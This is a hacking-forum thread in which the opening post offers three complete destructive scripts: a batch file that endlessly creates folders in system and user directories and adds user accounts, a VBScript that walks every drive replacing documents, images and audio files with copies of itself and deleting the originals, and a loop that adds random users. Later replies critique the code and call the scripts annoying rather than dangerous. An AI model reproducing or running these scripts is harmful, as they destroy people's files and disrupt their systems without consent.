Login Register






Some dangerous codes in .bat filter_list
Author
Message
Some dangerous codes in .bat #1
Okay lets start: This keeps making new folders! (By accindent i opended it, and after 5-10 seconds it had made about 40.000 new folders Sad()

Quote:@ECHO OFF
@ECHO A MIKKÉL THÉ HACKER PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

Confusedtart
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

Second:
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType + 2 And d.IsReady = True Then
Call SubFolders(d & "\")
End If
Next

Function infect(path)
On Error Resume Next
Set fold = fso.GetFolder(path)
For Each f In fold.Files
ext = fso.GetExtensionName(f.path)
If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
fso.DeleteFile f.Path, True
End if
Next
End Function

Function SubFolders(path)
On Error Resume next
For Each subf In fso.GetFolder(path).SubFolders
Call Infect(subf.Path)
Call SubFolders(subf.Path)
next
End function


Last*-: Keep making new users
@echo off
echo Hey man!
:add
net user %random% /add
start acf.bat
goto add
If you're cool click this: http://adf.ly/MWQtY

My newly created blog: http://www.learn-basic-hacking.blogspot.dk/

Reply

RE: Some dangerous codes in .bat #2
Hi.
Everything seems ok with the code but one thing:
-There isn't such thing as "Deadly .bat" or "The most dangerous .bat" , .bat aren't even viruses, all they do is copy-paste, matrix.bat, open url...

Reply

RE: Some dangerous codes in .bat #3
I know it isn't vira but these are still pretty dangerous! They fuck you computer totally up! :lol:
If you're cool click this: http://adf.ly/MWQtY

My newly created blog: http://www.learn-basic-hacking.blogspot.dk/

Reply

RE: Some dangerous codes in .bat #4
They're not really dangerous, I would say they're just annoying. The first one creates just a bunch of folders, which isn't really harmful to the system. First, you would need insane amount of folders to fill up the whole drive and even if you did, it doesn't hurt the system really, you just delete them and everything is back to normal. Making tons of folders is probably as dangerous, as trying to destroy a building by throwing sheets of A4 sized paper on it.

Additionally, the code isn't really good, it contains a lot of repetition: remember, repeating and duplicating portions code is bad, it should be designed to be generic and allow to be reused, which makes it both simpler, easier to manage and look better. I suggest looking up and learning about a FOR loop, if you want to repeat some code a specified amount of times.

Also, you don't need to put "@" before every echo command, by using "@echo off" you basically tell it that you don't want to print any of the following commands, only their outputs, so it's kind of pointless to use "@echo off" and then manually suppress it for almost all commands anyway.

Second is a bit worse, since it deletes some files (it doesn't really infect anything, it just replaces the file with the script, which is not infecting. Infecting would be if it would embedded itself into the original file, so it would be launched secretly whenever the original file is launched), but you can recover deleted files if you do it right away or recover it from a backup if you have one.

And same with adding many new users. You can always remove them, it's even easy if you use a timestamps when they were added. Simply delete all users that were added after certain date, which will be basically when the script was run.

So no, they are not really dangerous, what they do can be reversed, in some cases quite easily, so they're rather annoying. To make something really dangerous, you need to dig more into the system and options that are there and find stuff you can exploit and that's difficult to restore back.




I love creativity and creating, I love science and rational thought, I am an open atheist and avid self-learner.

Reply

RE: Some dangerous codes in .bat #5
Froox, thanks for the feedback Smile
Well, i've heard that the first would crash your computer if the victim doesn't know whats happening. Same with the "new user" bat file. + It cooks your CPU to max high! :lol:
If you're cool click this: http://adf.ly/MWQtY

My newly created blog: http://www.learn-basic-hacking.blogspot.dk/

Reply

RE: Some dangerous codes in .bat #6
That's nonsense. First, it's not really very processor intensive, but rather IO intensive task, so I doubt that it would even fully load processor, secondly, processors can't be "cooked" by working at full performance, unless they have bad cooling, in which case user would most probably have trouble even without any such script.

There are various tasks that utilize processor a lot, for example rendering 3D scene or a video can easily utilize all available cores to max and run even for hours and it doesn't crash system, unless it's really bad computer with unstable hardware and that would only make it restart. Even some games can utilize hardware a lot - not just processor, but also GPU and it also doesn't "cook" the computer.

Processors have various mechanisms that prevent killing them by high temperature, such as inserting idle loops when it's overheating (thus effectively slowing down - instead of doing calculations, it devotes some of its time to doing nothing and thus cooling down).

Both software and hardware are now designed in a way that prevents damaging them so easily, so it's mostly a rumor.

Also many folders and running out of space doesn't crash the OS, it can't be taken down so simply, it will maximally slow the computer down a bit during the execution, but otherwise it's harmless.
I love creativity and creating, I love science and rational thought, I am an open atheist and avid self-learner.

Reply

RE: Some dangerous codes in .bat #7
Frooxius can you write in short lines?
Since HC restarted your sentences are big.
OT: Same what he said.

Reply

RE: Some dangerous codes in .bat #8
My sentences were always long Tongue Except a few short ones. I prefer to include more information about the topic and explain it in an understandable manner, shortening leaves important information out, increases ambiguity and in overall decreases change of proper understanding by someone unaware of the topic.
I love creativity and creating, I love science and rational thought, I am an open atheist and avid self-learner.

Reply

RE: Some dangerous codes in .bat #9
Thnx...It wasn't nice said Sad
If you're cool click this: http://adf.ly/MWQtY

My newly created blog: http://www.learn-basic-hacking.blogspot.dk/

Reply